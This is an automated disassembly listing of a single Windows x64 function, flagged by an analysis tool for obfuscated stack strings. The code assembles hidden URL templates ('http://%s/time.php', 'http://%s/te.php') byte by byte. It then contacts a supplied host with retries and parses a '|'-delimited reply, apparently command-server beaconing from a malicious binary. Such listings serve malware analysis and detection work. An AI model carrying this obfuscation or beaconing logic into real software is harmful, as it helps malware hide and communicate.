Function at 0x14001df30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
movzx edi, r8b
mov r12, rdx
mov r13, rcx
xor r15b, r15b
call fcn.140026fe0
mov rcx, rax
test rax, rax
je 0x14001e6b5
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x70], rax
test dil, dil
je 0x14001dfeb
mov dword [rsp + 0x55], 0x68702e65
mov word [rsp + 0x4d], 0x2f2f
mov word [rsp + 0x53], 0x6d69
mov dword [rsp + 0x48], 0x70747468
mov word [rsp + 0x50], 0x2f73
mov word [rsp + 0x59], 0x70
mov byte [rsp + 0x4f], 0x25
mov byte [rsp + 0x52], 0x74
mov byte [rsp + 0x4c], 0x3a
movzx edx, dil
lea rcx, [rbp - 0x20]
call fcn.140005aa0
nop
mov r8, qword [rax]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.140023770
nop
mov rdx, qword [rbp - 0x20]
jmp 0x14001e04b
mov word [rsp + 0x34], 0x2f3a
mov dword [rsp + 0x3d], 0x706870
mov word [rsp + 0x31], 0x7474
mov word [rsp + 0x3a], 0x6574
mov byte [rsp + 0x33], 0x70
mov word [rsp + 0x37], 0x7325
mov byte [rsp + 0x30], 0x68
mov byte [rsp + 0x36], 0x2f
mov byte [rsp + 0x3c], 0x2e
mov byte [rsp + 0x39], 0x2f
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.140005aa0
nop
mov r8, qword [rax]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.140023770
nop
mov rdx, qword [rbp - 0x18]
mov rsi, 0xffffffffffffffff
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001e06b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
lea rcx, [rbp + 0x40]
call fcn.1400ac930
nop
xor r14d, r14d
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], r14b
mov ebx, r14d
mov rdi, qword [rsp + 0x70]
nop word [rax + rax]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xa0]
call fcn.1400eb7c0
lea rcx, [rbp + 0xa0]
call fcn.14000c780
mov qword [rbp - 8], r14
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
lea rax, [rbp + 0xa0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001e0e0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 8]
call fcn.140004ef0
nop
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov r8, rsi
inc r8
cmp byte [rdi + r8], 0
jne 0x14001e112
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.140004ef0
nop
mov qword [rbp + 0x18], r14
mov qword [rbp + 0x30], 0xf
mov qword [rbp + 0x28], r14
mov byte [rbp + 0x18], 0
lea r9, [rsp + 0x78]
lea r8, [rbp - 8]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x40]
call fcn.1400acd70
movzx r14d, al
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x14001e193
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e18d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e6c0
call fcn.1400e8464
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14001e1ce
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e1c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e6c6
call fcn.1400e8464
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x14001e21d
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e218
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e6cc
call fcn.1400e8464
test r14b, r14b
jne 0x14001e23b
mov ecx, 0x1f4
call fcn.14005e080
inc ebx
cmp ebx, 3
jge 0x14001e23b
xor r14d, r14d
jmp 0x14001e0a0
lea rdi, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdi, qword [rsp + 0x78]
call fcn.140026fe0
mov rcx, rax
test rax, rax
je 0x14001e6d2
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x68], rax
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.140022350
test al, al
jne 0x14001e2aa
test rdi, rdi
jne 0x14001e285
xor eax, eax
jmp 0x14001e299
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x14001e290
mov r8d, eax
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.140022f90
nop
call fcn.140026fe0
mov rcx, rax
test rax, rax
je 0x14001e6dd
mov rax, qword [rax]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x60], rbx
mov rdi, qword [rsp + 0x68]
cmp dword [rdi - 0x10], 8
jl 0x14001e464
cmp byte [rdi], 0x7c
jne 0x14001e464
cmp byte [rdi + 4], 0x7c
jne 0x14001e464
cmp byte [rdi + 7], 0x7c
jne 0x14001e464
mov rcx, qword [rdi - 0x18]
test rcx, rcx
je 0x14001e369
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
je 0x14001e369
lea r15, [rdi + 1]
mov rdi, r15
test rdi, rdi
je 0x14001e6ee
mov rax, qword [rcx]
mov edx, 3
lea r8d, [rdx - 2]
call qword [rax]
test rax, rax
je 0x14001e6e8
lea r14, [rax + 0x18]
mov qword [rbp + 0x38], r14
mov eax, 3
cmp eax, dword [r14 - 0xc]
jg 0x14001e6ee
mov dword [r14 - 0x10], eax
mov byte [r14 + 3], 0
mov r8d, eax
mov rcx, r14
test rdi, rdi
je 0x14001e38c
mov rdx, rdi
call fcn.1400eb110
jmp 0x14001e3a9
call fcn.140026fe0
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
lea r15, [rdi + 1]
mov rdi, r15
test rax, rax
je 0x14001e6aa
jmp 0x14001e314
xor edx, edx
call fcn.1400eb7c0
test r15, r15
jne 0x14001e3a9
call fcn.1400f8c8c
mov dword [rax], 0x16
call fcn.1400f8ae0
nop
lea rcx, [r14 - 0x18]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x14001e401
cmp dword [rbx + 0x10], 0
jl 0x14001e3ef
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x14001e3ef
call fcn.140022dd0
mov r15, rax
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x14001e3e4
mov rcx, qword [rbx]
mov rdi, qword [rcx]
mov rdx, rbx
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rsp + 0x60], rax
jmp 0x14001e401
mov r8d, dword [r14 - 0x10]
mov rdx, r14
lea rcx, [rsp + 0x60]
call fcn.140022f90
nop
lea rdx, [r14 - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001e41a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov r9d, 2
lea r8d, [r9 + 3]
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140021490
nop
mov rdx, rax
mov rcx, r12
call fcn.140021e50
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001e45c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov r15b, 1
jmp 0x14001e510
lea rcx, [rbp + 0x78]
call fcn.14001ce60
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14001e47a
mov rdx, qword [rax]
test rdx, rdx
jne 0x14001e483
xor eax, eax
jmp 0x14001e48f
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x14001e486
mov r8d, eax
lea rcx, [rsp + 0x60]
call fcn.140022f90
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x14001e4db
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e6f9
call fcn.1400e8464
mov word [rbp + 0x1f9], 0x53
mov byte [rbp + 0x1f8], 0x55
lea rcx, [rbp + 0x1f8]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x14001e4f5
mov r8d, eax
lea rdx, [rbp + 0x1f8]
mov rcx, r12
call fcn.140022f90
lea rcx, [rbp - 0x58]
call fcn.14001e710
nop
mov rcx, qword [rbp - 0x58]
add rcx, 0xffffffffffffffe8
call fcn.140022dd0
add rax, 0x18
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x60]
call fcn.14001dd20
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call fcn.14002bc60
mov rdx, rax
mov r9, qword [rsp + 0x60]
mov r8, qword [rbp - 0x60]
mov rcx, r13
call fcn.140023770
nop
lea rdi, [rbp - 0x30]
xor eax, eax
mov ecx, 5
rep stosb byte [rdi], al
lea rdi, [rbp - 0x2a]
mov ecx, 0xa
rep stosb byte [rdi], al
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001e598
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001e5b6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001e5d5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001e5f4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14001e62c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e627
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e6a4
call fcn.1400e8464
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
cmp byte [rbp + 0x60], 0
je 0x14001e659
mov rcx, qword [rbp + 0x70]
call fcn.1400608b0
mov rcx, qword [rbp + 0x68]
call fcn.1400608b0
lea rcx, [rbp + 0x40]
call fcn.140004820
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x14001e67f
mov rcx, qword [rdx]
mov rdi, qword [rcx]
call qword [rdi + 8]
movzx eax, r15b
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400f8b00
nop
mov ecx, 0x80004005
call fcn.140027260
nop
mov ecx, 0x80004005
call fcn.140027260
nop
call fcn.1400f8b00
nop
call fcn.1400f8b00
nop
call fcn.1400f8b00
int3
mov ecx, 0x80004005
call fcn.140027260
nop
mov ecx, 0x80004005
call fcn.140027260
nop
call fcn.140022ef0
int3
mov ecx, 0x80070057
call fcn.140027260
int3
call fcn.1400f8b00
int3